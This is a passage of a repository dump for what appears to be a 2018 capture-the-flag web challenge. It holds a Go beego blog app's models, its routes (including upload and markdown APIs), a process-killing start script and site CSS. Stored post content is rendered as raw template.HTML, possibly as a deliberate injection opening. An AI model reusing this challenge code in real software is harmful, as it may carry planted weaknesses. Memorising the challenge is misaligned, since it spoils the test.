{\n\t\treturn []int64{}\n\t}\n\n\tret := make([]int64, size)\n\tfor i := 0; i < size; i++ {\n\t\tret[i] = blogs[i].Id\n\t}\n\n\treturn ret\n}\n\nfunc ReadBlogContent(b *Blog) *BlogContent {\n\tif b.Id <= 0 || b.BlogContentId <= 0 {\n\t\treturn nil\n\t}\n\n\tif p := readBlogContentInDB(b); p != nil {\n\t\treturn p\n\t}\n\treturn nil\n}\n\nfunc readBlogContentInDB(b *Blog) *BlogContent {\n\to := BlogContent{Id: b.BlogContentId}\n\terr := orm.NewOrm().Read(&o, \"Id\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\to.HTMLContent = template.HTML(o.Content)\n\treturn &o\n}\n\nfunc Ids(catalog_id int64) []int64 {\n\tif catalog_id <= 0 {\n\t\treturn []int64{}\n\t}\n\n\tif ids := IdsInDB(catalog_id); len(ids) != 0 {\n\t\treturn ids\n\t} else {\n\t\treturn []int64{}\n\t}\n}\n\nfunc ByCatalog(catalog_id int64, offset, limit int) []*Blog {\n\tids := Ids(catalog_id)\n\tsize := len(ids)\n\tif size == 0 {\n\t\treturn []*Blog{}\n\t}\n\n\tif size > limit {\n\t\tend := offset + limit\n\t\tif end > size {\n\t\t\tend = size\n\t\t}\n\n\t\tids = ids[offset:end]\n\t}\n\n\tsize = len(ids)\n\tret := make([]*Blog, size)\n\tfor i := 0; i < size; i++ {\n\t\tret[i] = OneById(ids[i])\n\t\tret[i].Content = ReadBlogContent(ret[i])\n\t}\n\treturn ret\n}\n\nfunc Save(this *Blog, blogContent string) (int64, error) {\n\tif IdentExists(this.Ident) {\n\t\treturn 0, fmt.Errorf(\"blog english identity exists\")\n\t}\n\n\tbc := &BlogContent{Content: blogContent}\n\tor := orm.NewOrm()\n\tblogContentId, e := or.Insert(bc)\n\tif e != nil {\n\t\treturn 0, e\n\t}\n\n\tthis.BlogContentId = blogContentId\n\tthis.BlogContentLastUpdate = time.Now().Unix()\n\n\tid, err := or.Insert(this)\n\n\treturn id, err\n}\n\nfunc Del(b *Blog) error {\n\tnum, err := Blogs().Filter(\"Id\", b.Id).Delete()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif num > 0 {\n\t\tBlogContents().Filter(\"Id\", b.BlogContentId).Delete()\n\t}\n\n\treturn nil\n}\n\nfunc Update(b *Blog, content string) error {\n\tif b.Id == 0 {\n\t\treturn fmt.Errorf(\"primary key:id not set\")\n\t}\n\n\tbc := ReadBlogContent(b)\n\tif content != \"\" && bc.Content != content {\n\t\tbc.Content = content\n\t\t_, e := orm.NewOrm().Update(bc)\n\t\tif e != nil {\n\t\t\treturn e\n\t\t}\n\t\tb.BlogContentLastUpdate = time.Now().Unix()\n\t}\n\n\t_, err := orm.NewOrm().Update(b)\n\treturn err\n}\n\nfunc Blogs() orm.QuerySeter {\n\treturn orm.NewOrm().QueryTable(new(Blog))\n}\n\nfunc BlogContents() orm.QuerySeter {\n\treturn orm.NewOrm().QueryTable(new(BlogContent))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/models/catalog/catalog.go",
    "content": "package catalog\n\nimport (\n\t\"fmt\"\n\t\"github.com/astaxie/beego/orm\"\n\t. \"gotsctf2018/models\"\n)\n\nfunc OneById(id int64) *Catalog {\n\tif id == 0 {\n\t\treturn nil\n\t}\n\n\tif cp := OneByIdInDB(id); cp != nil {\n\t\treturn cp\n\t} else {\n\t\treturn nil\n\t}\n}\n\nfunc OneByIdInDB(id int64) *Catalog {\n\tif id == 0 {\n\t\treturn nil\n\t}\n\n\tc := Catalog{Id: id}\n\terr := orm.NewOrm().Read(&c, \"Id\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn &c\n}\n\nfunc IdByIdent(ident string) int64 {\n\tif ident == \"\" {\n\t\treturn 0\n\t}\n\n\tif cp := OneByIdentInDB(ident); cp != nil {\n\t\treturn cp.Id\n\t} else {\n\t\treturn 0\n\t}\n}\n\nfunc IdentExists(ident string) bool {\n\tid := IdByIdent(ident)\n\treturn id > 0\n}\n\nfunc OneByIdent(ident string) *Catalog {\n\tid := IdByIdent(ident)\n\treturn OneById(id)\n}\n\nfunc OneByIdentInDB(ident string) *Catalog {\n\tif ident == \"\" {\n\t\treturn nil\n\t}\n\n\tc := Catalog{Ident: ident}\n\terr := orm.NewOrm().Read(&c, \"Ident\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &c\n}\n\nfunc AllIdsInDB() []int64 {\n\tvar catalogs []Catalog\n\tCatalogs().OrderBy(\"-DisplayOrder\").All(&catalogs, \"Id\")\n\tsize := len(catalogs)\n\tif size == 0 {\n\t\treturn []int64{}\n\t}\n\n\tret := make([]int64, size)\n\tfor i := 0; i < size; i++ {\n\t\tret[i] = catalogs[i].Id\n\t}\n\n\treturn ret\n}\n\nfunc AllIds() []int64 {\n\tif ids := AllIdsInDB(); len(ids) != 0 {\n\t\treturn ids\n\t} else {\n\t\treturn []int64{}\n\t}\n}\n\nfunc All() []*Catalog {\n\tids := AllIds()\n\tsize := len(ids)\n\tif size == 0 {\n\t\treturn []*Catalog{}\n\t}\n\n\tret := make([]*Catalog, size)\n\tfor i := 0; i < size; i++ {\n\t\tret[i] = OneById(ids[i])\n\t}\n\treturn ret\n}\n\nfunc Save(this *Catalog) (int64, error) {\n\tif IdentExists(this.Ident) {\n\t\treturn 0, fmt.Errorf(\"catalog english identity exists\")\n\t}\n\tnum, err := orm.NewOrm().Insert(this)\n\n\treturn num, err\n}\n\nfunc Del(c *Catalog) error {\n\t_, err := orm.NewOrm().Delete(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc Update(this *Catalog) error {\n\tif this.Id == 0 {\n\t\treturn fmt.Errorf(\"primary key id not set\")\n\t}\n\t_, err := orm.NewOrm().Update(this)\n\treturn err\n}\n\nfunc Catalogs() orm.QuerySeter {\n\treturn orm.NewOrm().QueryTable(new(Catalog))\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/models/models.go",
    "content": "package models\n\n// package main\n\nimport (\n\t\"github.com/astaxie/beego/orm\"\n\t_ \"github.com/go-sql-driver/mysql\"\n\t\"time\"\n\t\"html/template\"\n)\n\ntype Catalog struct {\n\tId           int64\n\tIdent        string `orm:\"unique\"`\n\tName         string\n\tResume       string\n\tDisplayOrder int\n\tImgUrl       string\n}\n\ntype Blog struct {\n\tId                    int64\n\tIdent                 string       `orm:\"unique\"`\n\tTitle                 string\n\tKeywords              string       `orm:\"null\"`\n\tCatalogId             int64        `orm:\"index\"`\n\tContent               *BlogContent `orm:\"-\"`\n\tBlogContentId         int64        `orm:\"unique\"`\n\tBlogContentLastUpdate int64\n\tType                  int8         /*0:original, 1:translate, 2:reprint*/\n\tStatus                int8         /*0:draft, 1:release*/\n\tViews                 int64\n\tCreated               time.Time    `orm:\"auto_now_add;type(datetime)\"`\n}\n\ntype BlogContent struct {\n\tId          int64\n\tContent     string        `orm:\"type(text)\"`\n\tHTMLContent template.HTML `orm:\"-\"`\n}\n\nfunc (*Catalog) TableEngine() string {\n\treturn engine()\n}\n\nfunc (*Blog) TableEngine() string {\n\treturn engine()\n}\n\nfunc (*BlogContent) TableEngine() string {\n\treturn engine()\n}\n\nfunc engine() string {\n\treturn \"INNODB DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\"\n}\n\nfunc init() {\n\torm.RegisterModelWithPrefix(\"bb_\", new(Catalog), new(Blog), new(BlogContent))\n}\n\n// func main() {\n// \torm.RegisterDataBase(\"default\", \"mysql\", \"root:@/beego_blog?charset=utf8&loc=Asia%2FShanghai\", 30, 200)\n// \torm.RunCommand()\n// }\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/routers/router.go",
    "content": "package routers\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"gotsctf2018/controllers\"\n)\n\nfunc init() {\n\n\tbeego.Router(\"/api/health\", &controllers.ApiController{}, \"get:Health;post:Health\")\n\tbeego.Router(\"/api/markdown\", &controllers.ApiController{}, \"get:Markdown;post:Markdown\")\n\tbeego.Router(\"/api/upload\", &controllers.ApiController{}, \"get:Upload;post:Upload\")\n\n\tbeego.Router(\"/\", &controllers.MainController{})\n\tbeego.Router(\"/article/:ident\", &controllers.MainController{}, \"get:Read\")\n\tbeego.Router(\"/catalog/:ident\", &controllers.MainController{}, \"get:ListByCatalog\")\n\n\tbeego.Router(\"/login\", &controllers.LoginController{}, \"get:Login;post:DoLogin\")\n\tbeego.Router(\"/logout\", &controllers.LoginController{}, \"get:Logout\")\n\n\tbeego.Router(\"/me\", &controllers.MeController{}, \"get:Default\")\n\tbeego.Router(\"/me/catalog/add\", &controllers.CatalogController{}, \"get:Add;post:DoAdd\")\n\tbeego.Router(\"/me/catalog/edit\", &controllers.CatalogController{}, \"get:Edit;post:DoEdit\")\n\tbeego.Router(\"/me/catalog/del\", &controllers.CatalogController{}, \"get:Del\")\n\tbeego.Router(\"/me/article/add\", &controllers.ArticleController{}, \"get:Add;post:DoAdd\")\n\tbeego.Router(\"/me/article/edit\", &controllers.ArticleController{}, \"get:Edit;post:DoEdit\")\n\tbeego.Router(\"/me/article/del\", &controllers.ArticleController{}, \"get:Del\")\n\tbeego.Router(\"/me/article/draft\", &controllers.ArticleController{}, \"get:Draft\")\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/startwebserver.sh",
    "content": "#!/bin/sh\nkill -9 `ps -a | grep bee | awk '{print $1}' | paste -sd ' '` \nkill -9 `ps -a | grep gotsctf2018 | awk '{print $1}' | paste -sd ' '` \n\ncd /go/src/gotsctf2018\nbee run\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/css/ee22d.css",
    "content": ".color-picker .color-chooser{line-height:1}.color-picker .color-chooser-color{display:inline-block;padding:0;margin:0;height:25px;width:25px;cursor:pointer;box-sizing:border-box;border:solid 2px rgba(0,0,0,0)}.color-picker .color-picker-editor{font-size:14px;margin:0;padding:4px;border:1px solid #ddd;border-left-width:25px;border-radius:0;background-color:rgba(0,0,0,0);transition:border-color .2s ease-in;outline:0}.yue{font:400 18px/1.62 Georgia,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif;color:#444443}.yue ::-moz-selection{background-color:rgba(0,0,0,.2)}.yue ::selection{background-color:rgba(0,0,0,.2)}.yue h1,.yue h2,.yue h3,.yue h4,.yue h5,.yue h6{font-family:Georgia,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",\"Microsoft YaHei\",SimSun,sans-serif;color:#222223}.yue h1{font-size:1.8em;margin:.67em 0}.yue>h1{margin-top:0;font-size:2em}.yue h2{font-size:1.5em;margin:.83em 0}.yue h3{font-size:1.17em;margin:1em 0}.yue h4,.yue h5,.yue h6{font-size:1em;margin:1.6em 0 1em}.yue h6{font-weight:500}.yue p{margin-top:0;margin-bottom:1.46em}.yue a{color:#111;word-wrap:break-word;-moz-text-decoration-color:rgba(0,0,0,.4);text-decoration-color:rgba(0,0,0,.4)}.yue a:hover{color:#555;-moz-text-decoration-color:rgba(0,0,0,.6);text-decoration-color:rgba(0,0,0,.6)}.yue strong,.yue b{font-weight:700;color:#222}.yue em,.yue i{font-style:italic;color:#222}.yue img{max-width:100%;height:auto;margin:.2em 0}.yue a img{border:0}.yue figure{position:relative;clear:both;outline:0;margin:10px 0 30px;padding:0}.yue figure img{display:block;max-width:100%;margin:auto;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.yue figure figcaption{position:relative;width:100%;text-align:center;left:0;margin-top:10px;font-weight:400;font-size:14px;color:#666665}.yue figure figcaption a{text-decoration:none;color:#666665}.yue hr{display:block;width:14%;margin:40px auto 34px;border:0 none;border-top:3px solid #dededc}.yue blockquote{margin:0 0 1.64em;border-left:3px solid #dadada;padding-left:12px;color:#666664}.yue blockquote a{color:#666664}.yue ul,.yue ol{margin:0 0 24px 6px;padding-left:16px}.yue ul{list-style-type:square}.yue ol{list-style-type:decimal}.yue li{margin-bottom:.2em}.yue li ul,.yue li ol{margin-top:0;margin-bottom:0;margin-left:14px}.yue li ul{list-style-type:disc}.yue li ul ul{list-style-type:circle}.yue li p{margin:.4em 0 .6em}.yue .unstyled{list-style-type:none;margin:0;padding:0}.yue code,.yue tt{color:gray;font-size:.96em;background-color:#f9f9f7;padding:1px 2px;border:1px solid #dadada;border-radius:3px;font-family:Inconsolata,Menlo,monospace}.yue pre{margin:1.64em 0;padding:7px;border:0;border-left:3px solid #dadada;padding-left:10px;overflow:auto;line-height:1.5;font-size:.96em;font-family:Inconsolata,Menlo,monospace;color:#4c4c4c;background-color:#f9f9f7}.yue pre code,.yue pre tt{color:#4c4c4c;border:0;background:0;padding:0}.yue table{width:100%;border-collapse:collapse;border-spacing:0;margin-bottom:1.5em;font-size:.96em}.yue th,.yue td{text-align:left;padding:4px 8px 4px 10px;border:1px solid #dadada}.yue td{vertical-align:top}.yue tr:nth-child(even){background-color:#efefee}.yue iframe{display:block;max-width:100%;margin-bottom:30px}.yue figure iframe{margin:auto}.yue table pre{margin:0;padding:0;border:0;background:0}@media (min-width:1100px){.yue blockquote{margin-left:-24px;padding-left:20px;border-width:4px}.yue blockquote blockquote{margin-left:0}.yue figure figcaption:before{width:25%;margin-left:75%;border-top:1px solid #dededc;display:block;content:\"\";margin-bottom:10px}.yue figure figcaption{position:absolute;left:-172px;width:150px;top:0;text-align:right;margin-top:0}}.placeholder:before{content:attr(data-placeholder);margin-left:2px;opacity:.4}.social-button-item{font-size:24px;position:relative;display:inline-block;vertical-align:middle;text-align:center;margin:8px}.social-button-item .hide{display:none}.social-button-large .social-button-item{font-size:36px}.social-button-small .social-button-item{margin:10px 5px;font-size:18px}.social-button-item .social-button-icon{display:block;color:#979799;text-decoration:none!important}.social-button-item .social-button-icon-twitter:hover{color:#23acee!important}.social-button-item .social-button-icon-facebook:hover{color:#3c5696!important}.social-button-item .social-button-icon-weibo:hover{color:#e32428!important}.social-button-item .social-button-count{position:absolute;left:50%;text-align:center;margin-top:10px;font:300 14px/1 sans-serif;padding:6px 6px 5px;background:rgba(0,0,0,.76);border-radius:3px;color:#fff;opacity:0;-webkit-transition:opacity .2s ease-in-out;-moz-transition:opacity .2s ease-in-out;-ms-transition:opacity .2s ease-in-out;-o-transition:opacity .2s ease-in-out;transition:opacity .2s ease-in-out}.social-button-item:hover .social-button-count{opacity:1}.social-button-item .social-button-count:before{position:absolute;top:-6px;left:50%;margin-left:-3px;content:'';width:0;height:0;border:3px solid transparent;border-bottom-color:rgba(0,0,0,.76)}.switch{position:relative;display:inline-block;overflow:hidden;height:3em;width:7.6em;border-radius:3em;-webkit-transition:background .2s ease-in,color .2s ease-in;transition:background .2s ease-in,color .2s ease-in;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer}.switch-on-label,.switch-off-label{position:absolute;height:3em;font:300 1em/3em \"Helvetica Neue\",Helvetica,sans-serif;text-align:center;-webkit-transition:-webkit-transform .2s ease-in;transition:transform .2s ease-in;cursor:pointer}.switch-on-label{right:3em;left:0}.switch-off-label{right:0;left:3em}.switch-mask{position:absolute;left:0;top:0;height:3em;width:3em;border-radius:3em;background-color:#fff;background-color:rgba(255,255,255,.98);-webkit-background-clip:padding-box;background-clip:padding-box;border:2px solid transparent;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:left .2s ease-in,margin .2s ease-in;transition:left .2s ease-in,margin .2s ease-in}.switch.on .switch-mask{margin-left:-3em;left:100%}.switch.on .switch-off-label{-webkit-transform:translateX(100%)}.switch.off .switch-on-label{-webkit-transform:translateX(-100%)}.switch.on{color:#fff;background:#111}.switch.off{color:#bbb;background:#eaeaea}.vertical-field{border:0;padding:0 0 20px}.required label:after{content:'*';vertical-align:middle;margin-left:2px}.form-label,.form-message{color:#7C7C7C;font-family:Avenir,\"Helvetica Neue\",Helvetica,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",\"Microsoft YaHei\",SimSun,sans-serif}.form-label label{margin-right:14px;font-weight:500}.form-input input,.form-input textarea{border:0;border-radius:4px;outline:0;background:rgba(0,0,0,.064);padding:8px 6px;font-size:18px;line-height:1;box-sizing:border-box;width:300px;margin-right:4px}.form-input textarea{width:80%}.form-message{visibility:hidden;margin-top:2px;font-size:12px}.success .form-input input{background:rgba(0,252,0,.064)}.success .form-input:after{content:\"✔︎\";color:#6BAB57}.error .form-input input{background:rgba(252,60,0,.064);color:#EB5E34}.error .form-input:after{content:\"✘\";color:#EB5E34}.success .form-message,.error .form-message{visibility:visible}.password-strength span{display:inline-block;width:48px;height:5px;background:rgba(0,0,0,.04);-webkit-transition:background .2s ease-in-out;-moz-transition:background .2s ease-in-out;-ms-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.password-strength-simple span:first-of-type{background:#EB5E34}.password-strength-medium span{background:#FCDB76}.password-strength-medium span:last-of-type{background:rgba(0,0,0,.04)}.password-strength-strong span{background:#6BAB57}.toggle .toggle-hover-inactive,.toggle .toggle-inner-active,.toggle .toggle-hover-active{display:none}.toggle .toggle-inner-inactive{display:initial}.toggle-active .toggle-inner-inactive{display:none}.toggle-active .toggle-inner-active{display:initial}.toggle:hover .toggle-inner-inactive{display:none}.toggle:hover .toggle-hover-inactive{display:initial}.toggle-active:hover .toggle-inner-active{display:none}.toggle-active:hover .toggle-hover-inactive{display:none}.toggle-active:hover .toggle-hover-active{display:initial}.notice-container{position:fixed;top:0;left:0;width:100%;z-index:999999}.notice-container .notice-item{position:relative;font:500 16px/1.8 Georgia,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif;background:#fefefe;background:rgba(255,255,255,.9);color:#565656;padding:10px 20px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;border-bottom:1px solid #efefef;text-align:center;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;-webkit-transform-origin:top;-ms-transform-origin:top;transform-origin:top}.notice-container .warning,.notice-container .warn{background:#fcf8e3;background:rgba(252,248,227,.9);border-color:#fbeed5;color:#c09853}.notice-container .danger,.notice-container .error{background:#f2dede;background:rgba(242,222,222,.9);border-color:#ebccd1;color:#a94442}.notice-container .notice-content{color:inherit;text-decoration:none;margin:0 auto;max-width:650px}.notice-container .notice-close{position:absolute;top:10px;right:20px;cursor:pointer;font:400 normal 22px/1.3 Arial,sans-serif;color:rgba(231,76,60,.6)}.notice-container .notice-dismiss{-webkit-transform:rotateX(60deg);-ms-transform:rotateX(60deg);transform:rotateX(60deg);opacity:0}@-webkit-keyframes overlay-scale{0%{-webkit-transform:scale(0.8);transform:scale(0.8)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes overlay-scale{0%{-webkit-transform:scale(0.8);-ms-transform:scale(0.8);transform:scale(0.8)}50%{-webkit-transform:scale(1.1);-ms-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}body.overlay-active{overflow:hidden}.overlay-active .overlay{display:block}.overlay{position:fixed;top:0;left:0;width:100%;height:100%;overflow:auto;background:#f9f9f9;background:rgba(255,255,255,.98);text-align:center;z-index:999;display:none}.overlay-close{position:fixed;top:8px;right:8px;color:#b3b3b1;background:#f9f9f9;background:rgba(0,0,0,0);padding:4px;margin:0;border:0;outline:0;font:500 24px/1 \"Helvetica Neue\",sans-serif}.overlay-close:hover{cursor:pointer}.overlay-container{max-width:680px;min-height:100%;margin:0 auto;padding:60px 10px;box-sizing:border-box;-webkit-animation:overlay-scale .2s ease-in-out;animation:overlay-scale .2s ease-in-out}@-webkit-keyframes nanobar-infinite{0{width:0;height:100%}86%{width:80%;height:100%}100%{width:100%;height:0}}@keyframes nanobar-infinite{0{width:0;height:100%}86%{width:80%;height:100%}100%{width:100%;height:0}}.nanobar{position:fixed;top:0;left:0;width:100%;height:6px;background:rgba(0,0,0,.02);clear:both}.nanobar .nanobar-progress{background:rgba(0,0,0,.96);box-shadow:0 0 18px rgba(255,255,255,.6);height:100%;width:0;-webkit-transition:width .3s linear,height .1s linear .2s;transition:width .3s linear,height .1s linear .2s}.nanobar .nanobar-progress-infinite{-webkit-animation:nanobar-infinite 2s infinite linear;animation:nanobar-infinite 2s infinite linear}@font-face{font-family:Yue;src:url(//dn-yuehu.qbox.me/fonts/Yue.eot?-q6cbkj);src:url(//dn-yuehu.qbox.me/fonts/Yue.eot?#iefix-q6cbkj) format('embedded-opentype'),url(//dn-yuehu.qbox.me/fonts/Yue.woff?-q6cbkj) format('woff'),url(//dn-yuehu.qbox.me/fonts/Yue.ttf?-q6cbkj) format('truetype'),url(//dn-yuehu.qbox.me/fonts/Yue.svg?-q6cbkj#Yue) format('svg');font-weight:400;font-style:normal}[class^=icon-]:before,[class*=\" icon-\"]:before{font-family:Yue;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-weibo:before{content:\"\\e601\"}.icon-twitter:before{content:\"\\e604\"}.icon-facebook:before{content:\"\\e60d\"}.icon-writing:before{content:\"\\e600\"}.icon-collection:before{content:\"\\e60e\"}.icon-close:before{content:\"\\e60f\"}.icon-ul:before{content:\"\\e603\"}.icon-check:before{content:\"\\e610\"}.icon-bookmark:before{content:\"\\e611\"}.icon-spinner:before{content:\"\\e606\"}.icon-blockquote:before{content:\"\\e613\"}.icon-setting:before{content:\"\\e607\"}.icon-plus:before{content:\"\\e608\"}.icon-link:before{content:\"\\e60b\"}.icon-upload:before{content:\"\\e602\"}html,body{padding:0;margin:0}button.button,a.button{display:inline-block;-webkit-font-smoothing:antialiased;padding:.84em 1.2em;margin:0;background-color:#222223;color:#f9f9f8;text-transform:uppercase;border:0;text-decoration:none;outline:0;border-radius:3px;-webkit-transition:background-color .2s ease-in-out;transition:background-color .2s ease-in-out;text-align:center;letter-spacing:.1em;font:700 .8em/1 Arial,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif;cursor:pointer;vertical-align:middle}button.button:hover,a.button:hover{opacity:.9;-ms-filter:alpha(Opacity=90);filter:alpha(opacity=90);color:#fff}button.button:disabled,a.button.disabled{cursor:not-allowed;background-color:#666664}button.button.gray,a.button.gray{color:#9a9a9a;background-color:#e9e9ea}button.button.gray:hover,a.button.gray:hover{color:#9a9a9a;background-color:rgba(233,233,234,.6)}button.button.glass,a.button.glass{background-color:rgba(0,0,0,.2)}button.button i{font-style:normal;margin-right:4px;color:#fff}.collection-card{position:relative;float:left;width:200px;margin:0 10px 20px 0;border-radius:2px;text-align:center;-webkit-box-shadow:0 1px 2px #9a9a9a;box-shadow:0 1px 2px #9a9a9a;background:#fff}.collection-card a{display:block;text-decoration:none}.collection-card a:hover{opacity:.9;-ms-filter:alpha(Opacity=90);filter:alpha(opacity=90)}.collection-card .cover{display:block;width:100%;height:120px;color:#fff;margin:0;border-radius:2px 2px 0 0;text-decoration:none;background-color:#000}.collection-card .card-info{height:120px;padding:20px 16px;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.collection-card .collection-name{font-weight:500;margin:0}.collection-card .collection-name:after{content:'';display:block;width:60px;margin:4px auto 10px;border-bottom:3px solid #eeeeef}.collection-card .description{margin:0;color:#9a9a9a;font-size:90%;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}@media (max-width:450px){.collection-card{width:98%}.collection-card .cover{height:180px}}.collections-overlay{font-family:\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\"}.collections-overlay .collection-card{cursor:pointer}.collections-overlay .icon-check{position:absolute;line-height:1;bottom:4px;right:6px;font-size:28px;color:#9a9a9a;color:rgba(0,0,0,.2)}.collections-overlay .active .icon-check{color:#222223}.vcard{zoom:1}.vcard:after{display:table;content:'';clear:both}.avatar{text-decoration:none}.avatar .photo,.vcard .avatar .photo{width:68px;height:68px;border-radius:50%}.avatar span.photo,.vcard .avatar span.photo{display:inline-block;background:#222223}.empty-message{font-weight:500;font-size:300%;text-align:center}@-webkit-keyframes spin{50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spin{50%{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)}}.icon-spinner{display:inline-block;-webkit-animation:spin 1s infinite linear;animation:spin 1s infinite linear}.yue .icon-spinner{line-height:1}.field,.checkbox-field{margin-bottom:1.6em}.field .button{margin-right:1em}.checkbox-field label{font-size:16px;color:#9a9a9a}.editor{padding-top:60px}.editor textarea{height:360px}.entry-meta{font-family:Optima,Georgia,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",serif;font-size:14px;color:#9a9a9a;margin:.6em 0}.entry-meta a{color:#9a9a9a;text-decoration:none}.entry-meta a:hover{text-decoration:underline}.entry-title a{text-decoration:none}.entry-title .icon-link:before{font-size:14px;margin-right:10px;margin-left:-24px;color:#9a9a9a}.entry-list .item{position:relative;display:block;text-decoration:none;color:#9a9a9a;padding-bottom:1em;margin-top:1em;margin-bottom:1.6em;border-bottom:1px solid #eeeeef}.entry-list .item:last-of-type{border-bottom:0}.entry-list .entry-referee,.entry-list .entry-author{position:absolute;display:block;top:5px;right:0;width:48px;height:48px;border-radius:24px;background:#222223}.entry-list .entry-referee:hover,.entry-list .entry-author:hover{opacity:.8;-ms-filter:alpha(Opacity=80);filter:alpha(opacity=80)}.entry-list .entry-referee img,.entry-list .entry-author img{margin:0;max-width:100%;border-radius:24px}.entry-list .entry-title{margin:0;padding-right:100px;line-height:1.2;font-size:1.48em}.entry-list .entry-snippet{display:block;text-decoration:none}.entry-list .entry-control{padding-top:20px}.entry-list .entry-control .button{margin-right:10px}.entry-list .view-on-yuehu{color:#9a9a9a;font-size:13px;margin-left:1em}.entry-list .view-on-yuehu:after{content:'»';padding-left:2px}.hentry>.wrapper{position:relative;padding-bottom:60px}.hentry .icon-bookmark{position:absolute;top:10px;right:0;font-size:28px;text-decoration:none;line-height:1;color:#9a9a9a}.hentry .icon-bookmark:hover{opacity:.6;-ms-filter:alpha(Opacity=60);filter:alpha(opacity=60)}.hentry .icon-bookmark.toggle-active{color:#000}.hentry .entry-meta{margin-top:-10px;margin-bottom:40px}.hentry .entry-meta .sep:after{margin:0 5px;content:'·'}.hentry .entry-meta .vcard{position:absolute;top:0;right:0;margin-right:14px;vertical-align:middle}.hentry .entry-meta .vcard-info{display:none}.hentry .entry-meta .avatar{display:inline-block;width:48px;height:48px}.hentry .entry-meta .photo{width:48px;height:48px;border-radius:50%}.hentry .entry-content{word-wrap:break-word;min-height:250px}.hentry .item{margin-bottom:22px}.hentry .item-title strong{color:#9a9a9a;font-weight:300;border-bottom:3px solid #eeeeef}.hentry .fn{font-weight:700}.hentry .entry-social{zoom:1}.hentry .entry-social:after{content:'';display:table;clear:both}.hentry .entry-social .button{margin-right:14px}.hentry .social-button{float:right}.hentry .entry-footer{padding:20px 0;border-top:1px solid #eeeeef;background:#f9f9f8}.entry-footer .footer-collection{float:left;margin-right:20px;word-break:break-all}.entry-footer .footer-card{overflow:hidden}.entry-footer .footer-card a{text-decoration:none}.entry-footer .footer-card-header{font-family:Avenir,Arial,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif;font-size:14px;color:#9a9a9a;margin:0 0 20px;border-bottom:3px solid #eeeeef}.entry-footer .vcard .avatar{float:left;margin-right:20px}@media (min-width:980px){.hentry .icon-bookmark{margin-right:-40px}}@media (max-width:680px){.entry-footer .footer-collection{float:none}.footer-collection .collection-card{float:none}}.container{max-width:960px;margin:0 auto;zoom:1}.wrapper{zoom:1}.wrapper:after,.container:after{display:table;content:'';clear:both}.main-body .wrapper{max-width:650px;margin:0 auto}.main-body>.container,.main-body>.wrapper{padding-top:30px}.menu-sidebar{position:relative;float:left;margin-left:-230px;width:160px}.menu-sidebar ul{list-style:none;margin:0 0 48px;padding:0;max-height:300px;overflow-y:auto}.menu-sidebar li{line-height:1.8}.menu-sidebar ul a{text-decoration:none;color:#9a9a9a}.menu-sidebar ul a:hover{color:#666}.section{margin-bottom:60px}.section-title{font:700 14px Avenir,Arial,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\",sans-serif;text-transform:uppercase;margin-bottom:18px;border-bottom:4px solid #eeeeef}.section-title a{line-height:1;text-decoration:none}.section-title a:after{content:\"→\";margin-left:4px}.section-input{position:relative;padding:10px 0;border-top:1px solid #eeeeef;border-bottom:1px solid #eeeeef;margin:0 0 30px}.section-input input{border:0;font-size:16px;width:80%;padding:4px 0;outline:0}.section-input .button{position:absolute;right:0;top:6px;color:#fff}.iframe-body{position:absolute;top:47px;width:100%;height:100%}.iframe-body iframe{width:100%;height:100%}@media (max-width:980px){.container{padding-left:10px;padding-right:10px}}@media (max-width:680px){.wrapper{padding-left:10px;padding-right:10px}}.menu{padding:16px 0;color:#9a9a9a}.menu .container{max-width:1110px}.menu a{text-decoration:none;color:#9a9a9a}.menu .menu-main{float:left}.menu .brand{font:400 400 20px \"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro Hei\";margin-right:20px}.menu .brand sup{font:italic 400 14px Avenir,Arial,\"Xin Gothic\",\"Hiragino Sans GB\",\"WenQuanYi Micro 